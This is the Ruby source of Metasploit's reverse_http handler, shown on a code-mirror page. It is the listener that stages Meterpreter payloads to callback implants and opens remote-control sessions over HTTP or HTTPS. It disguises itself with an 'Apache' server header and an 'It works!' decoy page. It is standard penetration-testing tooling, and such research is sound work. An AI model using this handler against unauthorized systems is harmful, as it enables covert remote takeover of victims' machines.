PageRenderTime 47ms CodeModel.GetById 17ms RepoModel.GetById 1ms app.codeStats 0ms

/lib/msf/core/handler/reverse_http.rb

https://bitbucket.org/DinoRex99/metasploit-framework
Ruby | 414 lines | 282 code | 67 blank | 65 comment | 56 complexity | 68b0cbdb9f8272bb835fb8fa0e29e655 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-3.0, GPL-2.0
  1. # -*- coding: binary -*-
  2. require 'rex/io/stream_abstraction'
  3. require 'rex/sync/ref'
  4. require 'rex/payloads/meterpreter/uri_checksum'
  5. require 'rex/post/meterpreter'
  6. require 'rex/socket/x509_certificate'
  7. require 'msf/core/payload/windows/verify_ssl'
  8. require 'rex/user_agent'
  9. module Msf
  10. module Handler
  11. ###
  12. #
  13. # This handler implements the HTTP SSL tunneling interface.
  14. #
  15. ###
  16. module ReverseHttp
  17. include Msf::Handler
  18. include Msf::Handler::Reverse
  19. include Rex::Payloads::Meterpreter::UriChecksum
  20. include Msf::Payload::Windows::VerifySsl
  21. #
  22. # Returns the string representation of the handler type
  23. #
  24. def self.handler_type
  25. return 'reverse_http'
  26. end
  27. #
  28. # Returns the connection-described general handler type, in this case
  29. # 'tunnel'.
  30. #
  31. def self.general_handler_type
  32. "tunnel"
  33. end
  34. #
  35. # Initializes the HTTP SSL tunneling handler.
  36. #
  37. def initialize(info = {})
  38. super
  39. register_options(
  40. [
  41. OptAddressLocal.new('LHOST', [true, 'The local listener hostname']),
  42. OptPort.new('LPORT', [true, 'The local listener port', 8080]),
  43. OptString.new('LURI', [false, 'The HTTP Path', ''])
  44. ], Msf::Handler::ReverseHttp)
  45. register_advanced_options(
  46. [
  47. OptAddress.new('ReverseListenerBindAddress',
  48. 'The specific IP address to bind to on the local system'
  49. ),
  50. OptBool.new('OverrideRequestHost',
  51. 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
  52. ),
  53. OptString.new('OverrideLHOST',
  54. 'When OverrideRequestHost is set, use this value as the host name for secondary requests'
  55. ),
  56. OptPort.new('OverrideLPORT',
  57. 'When OverrideRequestHost is set, use this value as the port number for secondary requests'
  58. ),
  59. OptString.new('OverrideScheme',
  60. 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
  61. ),
  62. OptString.new('HttpUserAgent',
  63. 'The user-agent that the payload should use for communication',
  64. default: Rex::UserAgent.shortest,
  65. aliases: ['MeterpreterUserAgent']
  66. ),
  67. OptString.new('HttpServerName',
  68. 'The server header that the handler will send in response to requests',
  69. default: 'Apache',
  70. aliases: ['MeterpreterServerName']
  71. ),
  72. OptString.new('HttpUnknownRequestResponse',
  73. 'The returned HTML response body when the handler receives a request that is not from a payload',
  74. default: '<html><body><h1>It works!</h1></body></html>'
  75. ),
  76. OptBool.new('IgnoreUnknownPayloads',
  77. 'Whether to drop connections from payloads using unknown UUIDs'
  78. )
  79. ], Msf::Handler::ReverseHttp)
  80. end
  81. def print_prefix
  82. if Thread.current[:cli]
  83. super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
  84. else
  85. super
  86. end
  87. end
  88. # A URI describing where we are listening
  89. #
  90. # @param addr [String] the address that
  91. # @return [String] A URI of the form +scheme://host:port/+
  92. def listener_uri(addr=datastore['ReverseListenerBindAddress'])
  93. addr = datastore['LHOST'] if addr.nil? || addr.empty?
  94. uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
  95. "#{scheme}://#{uri_host}:#{bind_port}#{luri}"
  96. end
  97. # Return a URI suitable for placing in a payload.
  98. #
  99. # Host will be properly wrapped in square brackets, +[]+, for ipv6
  100. # addresses.
  101. #
  102. # @param req [Rex::Proto::Http::Request]
  103. # @return [String] A URI of the form +scheme://host:port/+
  104. def payload_uri(req=nil)
  105. callback_host = nil
  106. callback_scheme = nil
  107. # Extract whatever the client sent us in the Host header
  108. if req && req.headers && req.headers['Host']
  109. callback_host, callback_port = req.headers['Host'].split(":")
  110. callback_port = callback_port.to_i
  111. callback_port ||= (ssl? ? 443 : 80)
  112. end
  113. # Override the host and port as appropriate
  114. if datastore['OverrideRequestHost'] || callback_host.nil?
  115. callback_host = datastore['OverrideLHOST']
  116. callback_port = datastore['OverrideLPORT']
  117. callback_scheme = datastore['OverrideScheme']
  118. end
  119. if callback_host.nil? || callback_host.empty?
  120. callback_host = datastore['LHOST']
  121. end
  122. if callback_port.nil? || callback_port.zero?
  123. callback_port = datastore['LPORT']
  124. end
  125. if callback_scheme.nil? || callback_scheme.empty?
  126. callback_scheme = scheme
  127. end
  128. if Rex::Socket.is_ipv6? callback_host
  129. callback_host = "[#{callback_host}]"
  130. end
  131. if callback_host.nil?
  132. raise ArgumentError, "No host specified for payload_uri"
  133. end
  134. if callback_port
  135. "#{callback_scheme}://#{callback_host}:#{callback_port}"
  136. else
  137. "#{callback_scheme}://#{callback_host}"
  138. end
  139. end
  140. # Use the #refname to determine whether this handler uses SSL or not
  141. #
  142. def ssl?
  143. !!(self.refname.index('https'))
  144. end
  145. # URI scheme
  146. #
  147. # @return [String] One of "http" or "https" depending on whether we
  148. # are using SSL
  149. def scheme
  150. (ssl?) ? 'https' : 'http'
  151. end
  152. # The local URI for the handler.
  153. #
  154. # @return [String] Representation of the URI to listen on.
  155. def luri
  156. l = datastore['LURI'] || ""
  157. if l && l.length > 0
  158. # strip trailing slashes
  159. while l[-1, 1] == '/'
  160. l = l[0...-1]
  161. end
  162. # make sure the luri has the prefix
  163. if l[0, 1] != '/'
  164. l = "/#{l}"
  165. end
  166. end
  167. l.dup
  168. end
  169. # Create an HTTP listener
  170. #
  171. # @return [void]
  172. def setup_handler
  173. local_addr = nil
  174. local_port = bind_port
  175. ex = false
  176. # Start the HTTPS server service on this host/port
  177. bind_addresses.each do |ip|
  178. begin
  179. self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
  180. local_port, ip, ssl?,
  181. {
  182. 'Msf' => framework,
  183. 'MsfExploit' => self,
  184. },
  185. nil,
  186. (ssl?) ? datastore['HandlerSSLCert'] : nil
  187. )
  188. local_addr = ip
  189. rescue
  190. ex = $!
  191. print_error("Handler failed to bind to #{ip}:#{local_port}")
  192. else
  193. ex = false
  194. break
  195. end
  196. end
  197. raise ex if (ex)
  198. self.service.server_name = datastore['HttpServerName']
  199. # Add the new resource
  200. service.add_resource((luri + "/").gsub("//", "/"),
  201. 'Proc' => Proc.new { |cli, req|
  202. on_request(cli, req)
  203. },
  204. 'VirtualDirectory' => true)
  205. print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
  206. lookup_proxy_settings
  207. if datastore['IgnoreUnknownPayloads']
  208. print_status("Handler is ignoring unknown payloads, there are #{framework.uuid_db.keys.length} UUIDs whitelisted")
  209. end
  210. end
  211. #
  212. # Removes the / handler, possibly stopping the service if no sessions are
  213. # active on sub-urls.
  214. #
  215. def stop_handler
  216. if self.service
  217. self.service.remove_resource((luri + "/").gsub("//", "/"))
  218. if self.service.resources.empty? && self.sessions == 0
  219. Rex::ServiceManager.stop_service(self.service)
  220. end
  221. end
  222. end
  223. attr_accessor :service # :nodoc:
  224. protected
  225. #
  226. # Parses the proxy settings and returns a hash
  227. #
  228. def lookup_proxy_settings
  229. info = {}
  230. return @proxy_settings if @proxy_settings
  231. if datastore['HttpProxyHost'].to_s == ''
  232. @proxy_settings = info
  233. return @proxy_settings
  234. end
  235. info[:host] = datastore['HttpProxyHost'].to_s
  236. info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
  237. info[:type] = datastore['HttpProxyType'].to_s
  238. uri_host = info[:host]
  239. if Rex::Socket.is_ipv6?(uri_host)
  240. uri_host = "[#{info[:host]}]"
  241. end
  242. info[:info] = "#{uri_host}:#{info[:port]}"
  243. if info[:type] == "SOCKS"
  244. info[:info] = "socks=#{info[:info]}"
  245. else
  246. info[:info] = "http://#{info[:info]}"
  247. if datastore['HttpProxyUser'].to_s != ''
  248. info[:username] = datastore['HttpProxyUser'].to_s
  249. end
  250. if datastore['HttpProxyPass'].to_s != ''
  251. info[:password] = datastore['HttpProxyPass'].to_s
  252. end
  253. end
  254. @proxy_settings = info
  255. end
  256. #
  257. # Parses the HTTPS request
  258. #
  259. def on_request(cli, req)
  260. Thread.current[:cli] = cli
  261. resp = Rex::Proto::Http::Response.new
  262. info = process_uri_resource(req.relative_resource)
  263. uuid = info[:uuid] || Msf::Payload::UUID.new
  264. # Configure the UUID architecture and payload if necessary
  265. uuid.arch ||= self.arch
  266. uuid.platform ||= self.platform
  267. conn_id = luri
  268. if info[:mode] && info[:mode] != :connect
  269. conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
  270. else
  271. conn_id << req.relative_resource
  272. conn_id = conn_id.chomp('/')
  273. end
  274. request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
  275. # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
  276. if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
  277. print_status("Ignoring unknown UUID: #{request_summary}")
  278. info[:mode] = :unknown_uuid
  279. end
  280. # Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
  281. if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
  282. allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || []
  283. unless allowed_urls.include?(req.relative_resource)
  284. print_status("Ignoring unknown UUID URL: #{request_summary}")
  285. info[:mode] = :unknown_uuid_url
  286. end
  287. end
  288. self.pending_connections += 1
  289. resp.body = ''
  290. resp.code = 200
  291. resp.message = 'OK'
  292. url = payload_uri(req) + conn_id
  293. url << '/' unless url[-1] == '/'
  294. # Process the requested resource.
  295. case info[:mode]
  296. when :init_connect
  297. print_status("Redirecting stageless connection from #{request_summary}")
  298. # Handle the case where stageless payloads call in on the same URI when they
  299. # first connect. From there, we tell them to callback on a connect URI that
  300. # was generated on the fly. This means we form a new session for each.
  301. # Hurl a TLV back at the caller, and ignore the response
  302. pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE,
  303. 'core_patch_url')
  304. pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
  305. resp.body = pkt.to_r
  306. when :init_python, :init_native, :init_java, :connect
  307. # TODO: at some point we may normalise these three cases into just :init
  308. if info[:mode] == :connect
  309. print_status("Attaching orphaned/stageless session...")
  310. else
  311. begin
  312. blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
  313. blob = encode_stage(blob) if self.respond_to?(:encode_stage)
  314. print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
  315. resp['Content-Type'] = 'application/octet-stream'
  316. resp.body = blob
  317. rescue NoMethodError
  318. print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
  319. return
  320. end
  321. end
  322. create_session(cli, {
  323. :passive_dispatcher => self.service,
  324. :dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher],
  325. :conn_id => conn_id,
  326. :url => url,
  327. :expiration => datastore['SessionExpirationTimeout'].to_i,
  328. :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
  329. :retry_total => datastore['SessionRetryTotal'].to_i,
  330. :retry_wait => datastore['SessionRetryWait'].to_i,
  331. :ssl => ssl?,
  332. :payload_uuid => uuid
  333. })
  334. else
  335. unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
  336. print_status("Unknown request to #{request_summary}")
  337. end
  338. resp.body = datastore['HttpUnknownRequestResponse'].to_s
  339. self.pending_connections -= 1
  340. end
  341. cli.send_response(resp) if (resp)
  342. # Force this socket to be closed
  343. self.service.close_client(cli)
  344. end
  345. end
  346. end
  347. end